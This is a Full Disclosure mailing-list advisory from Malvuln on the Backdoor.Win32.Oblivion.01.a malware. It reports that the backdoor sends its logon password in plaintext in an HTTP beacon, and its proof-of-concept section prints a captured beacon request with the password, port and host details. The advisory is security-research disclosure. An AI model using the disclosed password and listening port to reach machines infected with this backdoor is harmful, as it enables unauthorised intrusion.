full-disclosure - [FD] Backdoor.Win32.Oblivion.01.a / Insecure Transit Password Disclosure

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Message-ID: <CAAHK0WSUxXFC0vZhB9VkicHi_6SStuGVaNe=MxbQ9is5eP7_Ag@mail.gmail.com>
Date: Fri, 18 Nov 2022 23:16:13 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Oblivion.01.a / Insecure Transit Password
	Disclosure

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/aef85cf0d521eaa6aade11f95ea07ebe.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Oblivion.01.a
Vulnerability: Insecure Transit Password Disclosure
Description: The malware listens on TCP port 7826 and makes HTTP GET
requests to port 80 for "/scripts/WWPMsg.dll". The system logon credentials
"Pass=beacytan" are sent plaintext via the URL query string. Third party
attackers who can sniff traffic may locate the credentials which can also
potentially be leaked to web server logs and or shared systems.

Family: Oblivion
Type: PE32
MD5: aef85cf0d521eaa6aade11f95ea07ebe
Vuln ID: MVID-2022-0658
Disclosure: 11/18/2022

Exploit/PoC:
tcpdump
GET /scripts/WWPMsg.dll?from=Oblivion&fromemail=Oblivion@...ivion.com&subject=User+Online&body=Oblivion+Server+Online!!+[OS=Win]+[ComputerName=DESKTOP-2C4IQJO]+[IP=192.168.18.125]+[Port=7826]+[Pass=beacytan]+[Ver=0.1]&to=121768128
HTTP/1.0" 404 -

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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